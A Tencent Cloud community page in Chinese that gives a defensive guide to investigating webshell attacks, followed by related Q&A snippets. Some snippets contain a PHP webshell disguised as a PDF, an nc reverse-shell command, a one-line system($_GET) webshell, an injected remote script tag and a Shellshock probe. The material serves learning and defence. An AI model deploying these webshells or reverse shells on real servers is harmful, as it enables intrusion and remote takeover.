webShell攻击调查
WebShell攻击是一种常见的网络安全威胁，指黑客通过在服务器上植入WebShell后门代码，通过Web服务器对外提供服务的接口，从远程控制服务器并执行恶意操作，威胁服务器的安全性和稳定性。
WebShell攻击通常通过以下步骤进行调查和处理：
- 监测：通过实时监测服务器的系统日志、访问日志、网络流量等，可以发现可疑的访问行为、异常活动或者未经授权的文件操作等。
- 审查Web服务器：对服务器的Web应用进行审查，检查是否存在潜在的漏洞或者配置错误，例如弱密码、未打补丁的软件、不安全的文件上传功能等，这些都可能被攻击者利用来执行WebShell攻击。
- 分析WebShell：一旦发现可疑的WebShell文件，需要对其进行深入分析。这包括查看文件内容，了解其功能和特点，以及可能存在的后门功能。常见的WebShell有PHP Shell、ASPXSpy、JSP WebShell等。
- 恢复服务器：一旦确认服务器受到WebShell攻击，需要立即采取措施清除恶意代码并修复漏洞。清除WebShell可以通过删除相关文件、修改权限、停止可疑进程等方式进行。修复漏洞需要更新软件补丁、加强访问控制、改善代码安全性等。
- 安全加固：为了防止未来的WebShell攻击，需要采取一系列安全加固措施。包括定期更新软件补丁、使用强密码和多因素认证、限制文件上传权限、严格控制访问控制、实施安全审计等。
腾讯云提供了一系列安全产品和服务，可以帮助用户防护和检测WebShell攻击，例如：
- 云安全中心（https://cloud.tencent.com/product/ssc）：提供全面的安全检测和风险评估能力，包括WebShell检测、恶意代码扫描等。
- 云Web应用防火墙（https://cloud.tencent.com/product/waf）：对Web应用进行实时防护，包括抵御WebShell攻击、SQL注入、跨站脚本等常见攻击。
- 云安全专家服务（https://cloud.tencent.com/product/tssa）：提供专业的安全咨询和评估服务，帮助用户发现和解决潜在的安全问题，包括WebShell攻击调查和应对。
请注意，以上仅为示例产品和服务，具体的选择和配置应根据实际需求和情况进行。
相关·内容
我要编译我的客户端代码：
var browserify = require('browserify');
var gulp = require('gulp');
var source = require('vinyl-source-stream');
var reactify = require('reactify');
gulp.task('compile', function() {
return browserify('./public/js/app.js', {transform: r
浏览 4提问于2014-08-14得票数 3
回答已采纳
1回答
我在videoUrl的WebView中显示视频，这是一个YouTube嵌入链接。
<WebView
javaScriptEnabled={true}
allowsFullscreenVideo={true}
allowsInlineMediaPlayback={true}
ref={(ref) => { webview = ref }}
onNavigationStateChange={(event) => {
if(event.url !== videoU
浏览 0提问于2020-02-25得票数 2
我想知道有什么风险的妥协Wordpress管理帐户。
wordpress管理员用户会对运行Wordpress的平台造成任何风险吗？例如，管理员可以访问OS或数据库吗？如果在同一平台上正在运行其他应用程序，受损的管理是否会对其他应用程序造成任何问题？
(我可以想象，黑客会完全控制网站的内容和外观，用户帐户，并可以安装新的插件，留下后门回来。但是，除了wordpress网站本身，还有其他风险吗？)
浏览 0提问于2014-12-30得票数 1
回答已采纳
2回答
我最近接管了一台安装了plesk的Centos服务器，该服务器已被黑客入侵。
所有站点错误日志现在都显示错误：
[Wed May 31 12:37:12 2017] [error] [client 66.249.73.133] Premature end of script headers: index.php
[Wed May 31 12:52:32 2017] [warn] [client 40.77.167.50] (104)Connection reset by peer: mod_fcgid: error reading data from FastCGI server
[Wed M
浏览 4提问于2017-05-31得票数 2
我的目标有一个服务器，使用aspx，可能是4.3版本，我刚刚发现它有一个图像上传部分。他们有一个图像分析器，所以它必须是一个图像文件，所以我想知道我是否可以嵌入某种远程代码执行脚本或webshell脚本，这些脚本是用asp编写的，然后用base64编码。
浏览 0提问于2023-02-04得票数 -1
我正在从奥里亚诺的书中为CEH做准备。他指的是NIST的事故反应阶段。这些阶段是：
响应
分流
调查
安全壳
分析与跟踪
恢复
修复
汇报和反馈
我不明白调查阶段与分析阶段和跟踪阶段之间的区别。两者都指内部或外部专家对收集到的证据进行分析和剖析.
有什么帮助吗？
致以问候。
浏览 0提问于2018-05-31得票数 1
回答已采纳
发生的事情是，一个朋友的公司正在使用过时的点网络核武器框架。一个带有“被xxxx黑客攻击”的html页面被上传到web服务器上。
经过调查，确定一个webshell是通过利用漏洞上传的，并且“被xxxx攻击”的html页面是使用该web shell“创建”的。
因此，从技术上讲，html文件是创建的，而不是上传的。唯一上传的就是网壳。
该网站设有WAF。可能是CDN(不记得细节)。
问题是，WAF可以阻止/检测文件创建/上传通过web shell，或者它只是对待它像任何其他日常上传/下载活动。
另外，我知道WAF可以阻止和检测web shell。但是那些模糊的怎么样？
浏览 0提问于2017-02-02得票数 1
在我为保护我的服务器所做的一切之后，我上传了webshell (WSO2.1WebShell)，看看黑客能走多远，我震惊了，因为我能够读取非常敏感的信息。
📷
我可以运行多个命令，读取大量的私有数据。
📷
你可以从webshell的源代码中看到..。这不是你所能做的，但还有更多.
如果权限不是应有的，那么就有可能读取这些文件的内容。
所以问题很简单，我可以做什么来保护我的服务器，如何通过PHP限制/限制shell命令的执行。
以下方面的推荐权限：
/bin
/sbin
/usr/bin
/usr/sbin
我在运行Apache/2.4.7 (Ubuntu)
我也做了所有的这。(从php.ini
浏览 0提问于2016-02-23得票数 4
回答已采纳
提示：当前实例带宽为0，不支持Webshell登录和远程登录软件登录，您可以采取以下方式进行登录。
浏览 127提问于2020-09-25
twilio和Webshell.io规范了诸如twitter、tumblr、facebook、twilio等多个API提供者的API访问。
有人知道如何命名这类服务吗？如果你必须搜索他们，你会如何标记他们？API SDK？API组合器？API包装？API集成商？API中间件可能吗？
任何人都知道更多的网站，如like或Webshell.io ?
浏览 0提问于2014-07-10得票数 1
回答已采纳
每次ssh服务器公网IP，提示输入用户名，输入用户名后不提示输入密码，登录不了系统。不可能必须用webshell吧
浏览 444提问于2019-08-23
ssh使用软件登陆一直提示密码错误， 只能使用WebShell 登陆正常
使用各种软件登陆失败
image.png
image.png
浏览 448提问于2019-01-18
0回答
请问登录相关问题？
、、、
我按照标准登录了Linux 按说登录成功后已经出现了
WebShell界面的Socket...的提示
然后呢。为什么我回到实例已经还是得点立即登录
不能下载RDP文件。
浏览 146提问于2020-05-31
1回答
更好的Web应用协议
、、、
我有许多Web应用程序是作为基于Node.js的服务器开发的，其前面有一个负载均衡器。一开始，我的所有Web应用程序都公开了HTTP端点，负载均衡器为它们提供了SSL终端。现在，我正在考虑在应用服务器级别提供HTTPS端点而不是HTTP端点的价值。我认为这是一个很好的实践，我的问题是:从安全的角度来看，这是您所希望的、推荐的还是必需的？
浏览 0提问于2017-05-19得票数 0
1回答
我正在做一个PentesterLab练习，我有一个名为1.pdf的webshell，它可以作为一个PHP包含在index.php中。它包含如下代码：
%PDF-1.4
<?php
echo system($_GET["cmd"]);
?>
现在，我想使用下面的命令使用nc创建一个反向shell，但它不能正常工作：
index.php?page=uploads/1.pdf%00&cmd=/bin/nc 192.168.117.128 8001 -e /bin/bash
如果我在192.168.117.128输入命令，然后输入，则不会输出任何命令。
虽然，如果我
浏览 0提问于2014-04-09得票数 1
因此，在超过2周的时间里，我收到的是一种不间断的24/7攻击的组合。
首先，UDP以280 Kbps / 110 pps (360字节长)的小速率泛滥。
02:29:41.978484 IP (tos 0x0, ttl 48, id 56020, offset 0, flags [DF], proto UDP (17), length 360)
120.xxx.xxx.xxx.15070 > 200.xxx.xxx.xxx.7072: [udp sum ok] UDP, length 332
0x0030: fefe 7f7f fefe 7f7f fffe f
浏览 0提问于2017-08-31得票数 4
1回答
如果网站易受本地文件包含(LFI)的影响，如何使用它查找PHP版本？是否有任何文件显示正在使用的PHP版本。我正在尝试执行PHP会话LFI到RCE攻击，但我不知道会话文件存储在哪里。我认为找到PHP版本会有帮助。它必须是一个已经存在的文件，因为没有办法将一个文件放到目标上(除了会话文件)。
当然，我不是未经允许攻击机器，这是一个挑战的一部分。
浏览 0提问于2020-11-19得票数 0
我得到了很多这样的错误，但最终的广告名称是S。下面的那个有ad id "Bmw_m3_brand_new_2939822“
[Fri Oct 29 22:57:37 2010] [error] [client 111.111.11.11] File does not exist: /var/www/annons, referer: http://www.domain.se/annons/Bmw_m3_brand_new_2939822
网站上一切都很好。但是，在error.log文件apache2中仍然有很多错误。
有人知道这件事吗？
我在.htaccess FYI中有一个重写规则。没
浏览 0提问于2010-10-29得票数 1
回答已采纳
1回答
我有很多方法搜索文件系统中的恶意代码，监视流量，扫描日志文件，检查可疑/蒙面进程等。
但是，扫描关系数据库(如MySQL )并不容易。一些漏洞，比如2015年的Magento商店盗窃案，目的是在数据库中注入恶意代码，因为它知道它的结构以及它如何与服务器端应用程序(S)合作。转储数据库，然后运行基于签名的搜索将完全没有效率，因为一些数据存储在BLOB和其他类型的数据中。此外，它不一定看上去可疑，而且与PHP webshell的外观相去甚远。
我的问题是:在MySQL数据库中检测异常和发现恶意代码的最实用和最有效的方法是什么？
是否可以认为以下做法是一种体面的做法？
转储数据库；
与备份存档中的相
浏览 0提问于2016-09-19得票数 8
我正在学习动物数据库，但不是在终端shell中工作。 它在webshell上显示数据。 > Paginate(Indexes())
{
"data": [
Index("school"),
Index("Community")
]
} 但不在终端外壳上显示数据。 > Paginate(Indexes())
{ data: [] }
浏览 19提问于2020-05-02得票数 0
我们试图使用java脚本运行apache服务器中的bat文件。我们收到以下错误：“自动化服务器无法创建对象”--请找到下面的代码，并让我们知道如何解决这个问题
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script>
function testing() {
alert("Execution will start");
W
浏览 3提问于2013-10-01得票数 1
回答已采纳
win10远程登陆CentOS7登陆不上 , 有大佬j研究z过这个吗 我租50G的 , 云服务器装的CentOS7系统 ,自己电脑本身是win10
云服务上安装不上GNOME 也用win10远程登陆不了 有大佬指点一下吗
浏览 1246提问于2019-05-28
我看到另一个人使用noVnc为linux制作一个webshell，它不是图形，它正在运行level3，如下图所示。有人知道如何在level3中运行vncserver吗？
浏览 5提问于2013-11-26得票数 0
回答已采纳
早上好,
我从FirePower收到通知说有一个恶意软件-CNC Win.Trojan.Gh0st变体出站连接到我们的交换服务器。我猜有一封电子邮件发送给我们的一位员工，里面有恶意的附件。不过，我想知道这是寄给谁的。你知道如果可能的话。我有源IP，但是FirePower通知告诉我的唯一事情是，它是指向我们的负载均衡器进行交换的。也不能确切地告诉我它被发送的邮箱是什么。有可能找到这些信息吗？
谢谢，莱恩
浏览 0提问于2018-03-13得票数 0
回答已采纳
在处理易受攻击的框时，我在数据库表中找到了一个字段，可以在其中插入php代码。基于这一利用：
https://www.exploit-db.com/exploits/24044
我试图使用这段代码创建一个php webshell：
?php $cmd=$_GET['cmd'];system($cmd);?
它失败了(结果是死亡的白色屏幕)。但是，如果我将单引号更改为双引号，它就会工作，如下所示：
?php $cmd=$_GET["cmd"];system($cmd);?
我所看到的webshell代码的每一个源代码都围绕着cmd有单引号，不管它是哪一种变体，而且
浏览 0提问于2021-07-20得票数 0
1回答
当底层问题是整数因式分解时，盲通常被用来掩盖私钥操作。例如，它被用于RSA和签名方案中。这假定整型运算不是常数时间。
我有两个问题：
在整数因式分解以外的方案中是否使用盲化？
是否还有其他选项来保护私钥，以防止在商品硬件上的软件实现可用的定时攻击？
我问的原因是Evgeny的打破Rabin-Williams数字签名系统在密码++库中的实现 (a.k.a )。-2015-2141)。与p，q上的盲目值和Jacobi需求之间存在着糟糕的交互关系，从而导致私钥恢复。
建议的补救措施之一是致盲。我试图评估在像OpenSSL和Crypto++这样的库中这样做的影响，以及如果盲目是可选的，需要改变多少。(
浏览 0提问于2015-07-24得票数 8
我正在查看一个在IIS上运行的应用程序，它需要服务帐户(S)来运行一些服务/软件，但是服务帐户需要本地管理访问，这是违反策略的。
还有别的选择吗？这是否表明一个应用程序做得不好，它需要服务帐户才需要本地管理访问？
浏览 0提问于2018-06-25得票数 1
回答已采纳
1回答
我有这个网站，我想更换，因为它过时了，我们做了一个新的网站。但是像往常一样，在上传新网站到现场环境之前，我会备份当前的实时网站。当我下载Wordpress安装时，我的windows弹出了下面的消息。发现恶意软件：
后门:PHP/webshell
这到底是什么？这对我的电脑是危险的，还是网站的后门。这是怎么发生的。在这件事上，任何事情都会很有帮助。我应该在我的整个电脑上进行扫描吗？
提前谢谢。
浏览 6提问于2017-04-26得票数 1
回答已采纳
就像我们可以使用AG Grid添加CSS类一样。在ag网格中是否有任何方法可以在行和单元格级别添加属性？
const gridOptions = {
// all rows assigned CSS class 'my-green-class'
rowClass: 'my-green-class',
// all even rows assigned 'my-shaded-effect'
getRowClass: params => {
if (params.node.rowIndex % 2 === 0) {
r
浏览 0提问于2021-09-17得票数 3
1回答
我已经在我的服务器上安装了一个Kippo蜜罐，我想知道我是否可以启动一些工具来收集更多关于破解器的信息。
我想要更多的信息，以便能够开始一些取证工作。
浏览 0提问于2017-03-15得票数 1
因此，我下载了用于linux的fcrackzip工具，并尝试使用它来测试我自己的一个.zip文件。但是，唯一的问题是破解密码花了很长时间。那么，在linux中是否有任何设置或类似的设置，可以用来加快这个工具的破解速度？或者更好的是，对于linux或unix，还有更好的工具吗？谢谢。
浏览 0提问于2018-05-13得票数 0
我的Joomla！1.5网站最近似乎受到了一次XSS攻击(我是个新手)...The下面的代码被注入了网站(在某个地方)
<script src="http://sweepstakesandcontestsdo.com/pmg.php"></script>
我也不确定具体在哪里。我搜索了数据库和文件，但没有找到任何结果。有什么明显的我遗漏了什么吗？
浏览 0提问于2011-12-08得票数 0
回答已采纳
2回答
我有以下表格。一种是登录和用户注册，另一种是用许多问题存储调查的答案。现在，我有两个文本框来测试它。我的目标是每个用户只提交一次的调查。所以我有以下几点。其中一个表用于登录和注册。
CREATE TABLE IF NOT EXISTS `users` (
`userid` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(25) NOT NULL,
`username` varchar(25) NOT NULL,
`password` varchar(25) NOT NULL,
PRIMARY KEY (`userid`),
浏览 5提问于2013-08-08得票数 0
回答已采纳
2回答
假设给我一个要解密的密码文本，但是我也可以访问一个执行加密的服务器；在那里我可以输入任何明文并观察加密的结果。它会被归类为已知的纯文本攻击或密码文本吗？我有点困惑
浏览 0提问于2020-05-18得票数 0
1回答
今天似乎有人试图攻击我的VPS。我查了一下日志，看到了这个：
54.253.1.867- 月/2014:17:07:02-0400 "GET / HTTP/1.1“200 1437 -”“{ :;}；/bin/bash -c \"echo testing9123123\"；/bin/uname -a”
我脆弱吗？如果没有，我怎么知道我是不是？在上述情况发生之前，我更新了最新的更新，并做了一个测试，测试结果是错误的。
浏览 0提问于2014-09-26得票数 0
回答已采纳
1回答
附加的php恶意软件是做什么的？
、、、、
这是在WordPress服务器上的文件名wp-includes/class-wp-image-editor-fd.php下发现的，当WordFence将它作为一个意外的文件获取时。
指向源的链接在这里：https://pastebin.com/DWe4d33K
很明显，由于典型的混淆，看起来像恶意软件。VirusTotal没有给我任何检测：https://www.virustotal.com/gui/file/bac2bb4d0dac58e5563b47e6e63f3b332caba11da065861269e87ebc249f34e9/detection
我试着用去模糊处理工具，但没有用。这
浏览 0提问于2019-06-02得票数 0
回答已采纳
1回答
假设我使用AES CBC模式加密了一个带有密钥和随机IV的文件，攻击者访问加密的文本和使用的IV，而不是密钥。
在这种情况下，不存在漏洞，因为IV是随机的。
现在让我们假设攻击者获得了有关使用的明文的信息。纯文本是用户填写的调查表。因此，加密的数据有固定的格式。在这种情况下，如果我们假设攻击者可以访问空的调查表(带有问题)，那么这是否会改变加密数据的假定安全性？随机IV不再重要了。这种情况导致了被选择的明文攻击。我是不是漏掉了什么？
在这种情况下，如何保护数据？
编辑:密钥是随机生成的，并存储在一个与加密数据完全分离的数据库中。
浏览 0提问于2014-05-23得票数 1
我有一个SFTP服务器，我用它来承载文件。密码非常强(普通字典攻击或裂纹将无法工作)。看完这篇帖子后，我一点也不担心。但我注意到了一些很奇怪的东西。下面是日志的示例：
input_userauth_request: invalid user administrador [preauth]
Failed password for invalid user administrador from 10.51.6.91 port 21788 ssh2
什么？IP怎么可能是本地IP地址？这是一个面向外部的应用程序，所以我希望请求来自外部IP。我是不是遗漏了什么？
浏览 0提问于2019-04-03得票数 0
我在服务器上找到了一个名为systems.php的文件。另外，当我从服务器下载我的网站时，Windows说我的文件有BackDoor:PHP/Small.L和BackDoor:PHP/WebShell.A。我不知道该怎么做，我现在受够了。
任何建议。
这是链接
浏览 9提问于2014-10-21得票数 0
回答已采纳
我在我的Redis ( 3+版本)中看到多个out_前缀密钥。有谁能帮我理解这些钥匙吗？这些是内部临时密钥吗？
应用程序不会创建这些密钥。
[02.66%] Biggest zset found so far 'out_GVwthhmz' with 765025 members
[09.91%] Biggest zset found so far 'out_JIwnd8Cu' with 798580 members
[69.70%] Biggest zset found so far 'out_UcP6p4YL' with 80130
浏览 1提问于2015-10-28得票数 0
我从api中获取html内容，并希望在我的应用程序中将其呈现为web视图。
webview组件嵌套在滚动视图中，因为它在我的呈现函数之上有一些其他内容，如下所示：
render() {
var html = '<!DOCTYPE html><html><body>' + this.state.pushEvent.Description + '</body></html>';
return (
<ScrollView>
<View s
浏览 2提问于2015-10-05得票数 13
回答已采纳
1回答
我试图使用OWASP在DVWA中查找SQL注入漏洞。经过几次点击页面后，我得到了一个小的站点地图：
📷
我在GET:sqli节点上运行了活动扫描、蜘蛛和AJAX蜘蛛。正如您在上面的屏幕截图中所看到的，没有发现SQL注入漏洞。https://localhost:8081/vulnerabilities/sqli/页面中的表单操作也是如此：
📷
只有当我手动提交表单时，表单操作才会显示在“站点”选项卡中：
📷
而且，只有当我再次运行活动扫描时，才会检测到SQL注入漏洞。
📷
有没有办法强制蜘蛛/主动扫描提交表单并自动检测它们的漏洞？
浏览 0提问于2019-12-10得票数 0
昨晚，我的服务器(Centos5)有不寻常的传出流量，大约12 had，而现在我的服务器已经停机，因为我必须支付流量的费用。我的服务器是一个小型应用程序的小型服务器。我不知道发生了什么，但主机的支持说，它可以是您的服务器被黑客攻击和使用的DDOS攻击，或可以放大，错误等，他们没有多大帮助。
我的问题是:我怎样才能检查交通是什么，用什么做什么？我怎么能检查我的服务器被黑了？托管人员有我已经给他们的一些任务的根密码。我怎么才能阻止这一切？有没有办法限制出站的流量？
浏览 0提问于2019-05-24得票数 0
1回答
五峰的WPA漏洞
、、
由于我是一个网络和IT爱好者，我被一个朋友要求，以满足他的WPA网络。
我想知道除了野蛮攻击之外，我还能做些什么，在工作站上尝试KARMA攻击，并希望TKIP与QoS一起利用它的DoS漏洞？
浏览 0提问于2011-09-07得票数 3
所以你成功地建立了一个蜜罐。太棒了！这次又是什么？!我有这么多惊人的数据，但是；
如何分析从蜜罐软件中收集到的所有数据？
你应该找什么？(IP地址、恶意软件、IRC连接、使用0天等)
这是“如何设置蜜罐”系列的第4部分；
第一部分：如何为蜜罐建立虚拟机？
第2部分：如何为蜜罐建立网络？
第3部分：https://security.stackexchange.com/questions/21531/how-to-do-you-setup-the-software-used-to-run-a-honeypot
浏览 0提问于2012-10-12得票数 4
回答已采纳
扫码
添加站长 进交流群
领取专属 10元无门槛券
手把手带您无忧上云
相关资讯
热门标签
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM活动推荐
腾讯云开发者
